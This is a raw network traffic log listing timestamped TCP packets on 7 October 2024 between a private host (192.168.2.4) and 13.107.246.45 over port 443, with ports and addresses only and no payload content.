Oct 7, 2024 18:44:18.871295929 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.871304989 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.891566038 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.892260075 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.892280102 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.892904997 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.892909050 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.894381046 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.894680977 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.894707918 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.895142078 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.895147085 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.972670078 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.973355055 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.973387003 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.973436117 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.973685026 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.973731995 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.973752975 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.973766088 CEST	53761	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.973771095 CEST	443	53761	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.974040031 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.974107027 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.974183083 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.974200964 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.974212885 CEST	53763	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.974217892 CEST	443	53763	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.977102041 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.977140903 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.977251053 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.977289915 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.977293015 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.977343082 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.977494001 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.977513075 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.977525949 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.977536917 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.988992929 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.989022970 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.989062071 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.989124060 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.989151001 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.989466906 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.989480019 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.989490032 CEST	53765	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.989495039 CEST	443	53765	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.993438959 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.993485928 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:18.993599892 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.993805885 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:18.993818045 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.002305031 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.002383947 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.002666950 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.002702951 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.002721071 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.002731085 CEST	53764	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.002737045 CEST	443	53764	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.006100893 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.006146908 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.006228924 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.006355047 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.006366014 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.505537987 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.507045031 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.507075071 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.508457899 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.508475065 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.619049072 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.619155884 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.619259119 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.619586945 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.619612932 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.619647026 CEST	53766	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.619653940 CEST	443	53766	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.622977018 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.623039007 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.623152018 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.623297930 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.623310089 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.631499052 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.632070065 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.632101059 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.632477045 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.632483959 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.643804073 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.644541025 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.644563913 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.645106077 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.645112038 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.662255049 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.662843943 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.662868977 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.663302898 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.663309097 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.714833975 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.715514898 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.715552092 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.716036081 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.716047049 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.745002985 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.745659113 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.745716095 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.745721102 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.745774031 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.745840073 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.745860100 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.745871067 CEST	53767	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.745877028 CEST	443	53767	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.748873949 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.748930931 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.749020100 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.749182940 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.749196053 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.767826080 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.767859936 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.767909050 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.767966032 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.767997980 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.768271923 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.768289089 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.768301010 CEST	53769	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.768306017 CEST	443	53769	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.771421909 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.771734953 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.771773100 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.771837950 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.771998882 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.772007942 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.772170067 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.772226095 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.772270918 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.772291899 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.772303104 CEST	53768	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.772309065 CEST	443	53768	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.774717093 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.774734020 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.774791956 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.775167942 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.775176048 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.821438074 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.822024107 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.822092056 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.822127104 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.822127104 CEST	53770	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.822145939 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.822155952 CEST	443	53770	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.825558901 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.825612068 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:19.825670004 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.825834036 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:19.825845957 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.334208012 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.335010052 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.335043907 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.335508108 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.335522890 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.435544968 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.435580969 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.435627937 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.435633898 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.435673952 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.435945034 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.435965061 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.435973883 CEST	53771	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.435985088 CEST	443	53771	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.439654112 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.439687967 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.439749956 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.439898014 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.439908028 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.519125938 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.519485950 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.519777060 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.519805908 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.520019054 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.520051003 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.520508051 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.520515919 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.520665884 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.520673037 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.548476934 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.551805973 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.551834106 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.552273035 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.552283049 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.591118097 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.591701031 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.591718912 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.592291117 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.592295885 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.628504038 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.628565073 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.628608942 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.628871918 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.628895998 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.628910065 CEST	53772	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.628916979 CEST	443	53772	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.632344007 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.632375956 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.632425070 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.632447958 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.632471085 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.632484913 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.632518053 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.632565022 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.633040905 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.633064032 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.633078098 CEST	53773	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.633083105 CEST	443	53773	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.633236885 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.633253098 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.635960102 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.635977983 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.636023045 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.636483908 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.636493921 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.648061991 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.648116112 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.648160934 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.648281097 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.648298979 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.648308992 CEST	53774	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.648315907 CEST	443	53774	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.651487112 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.651521921 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.651571035 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.651721001 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.651730061 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.718672037 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.719405890 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.719470978 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.719520092 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.719546080 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.719562054 CEST	53775	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.719569921 CEST	443	53775	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.723052979 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.723100901 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:20.723165035 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.723381042 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:20.723398924 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.066986084 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.067450047 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.067486048 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.067960978 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.067970991 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.164952993 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.165195942 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.165255070 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.165360928 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.165385962 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.165397882 CEST	53776	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.165405035 CEST	443	53776	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.168154001 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.168198109 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.168396950 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.168596983 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.168612957 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.240313053 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.240978003 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.240989923 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.241713047 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.241718054 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.260278940 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.260915995 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.260943890 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.261383057 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.261392117 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.329519987 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.330132008 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.330166101 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.330631018 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.330636978 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.339364052 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.339401007 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.339448929 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.339648962 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.339720011 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.339740038 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.339751005 CEST	53777	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.339757919 CEST	443	53777	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.342925072 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.342966080 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.343049049 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.343204975 CEST	53782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.343214035 CEST	443	53782	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.362107992 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.362531900 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.362567902 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.362968922 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.362978935 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.394716978 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.395884037 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.395951033 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.395984888 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.396008015 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.396025896 CEST	53778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.396030903 CEST	443	53778	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.399144888 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.399192095 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.399255991 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.399394989 CEST	53783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.399403095 CEST	443	53783	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.524847031 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.524935007 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.525057077 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.526824951 CEST	53780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.526846886 CEST	443	53780	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.531229973 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.531267881 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.531510115 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.531793118 CEST	53784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.531805038 CEST	443	53784	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.579525948 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.580411911 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.580485106 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.580517054 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.580564976 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.581655979 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.581684113 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.581696987 CEST	53779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.581703901 CEST	443	53779	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.589559078 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.589628935 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.589704990 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.590059996 CEST	53785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.590076923 CEST	443	53785	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.911479950 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.925435066 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.925465107 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:21.926090002 CEST	53781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:21.926100016 CEST	443	53781	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:22.017343998 CEST	443	53781	13.107.246.45	192.168.2.4
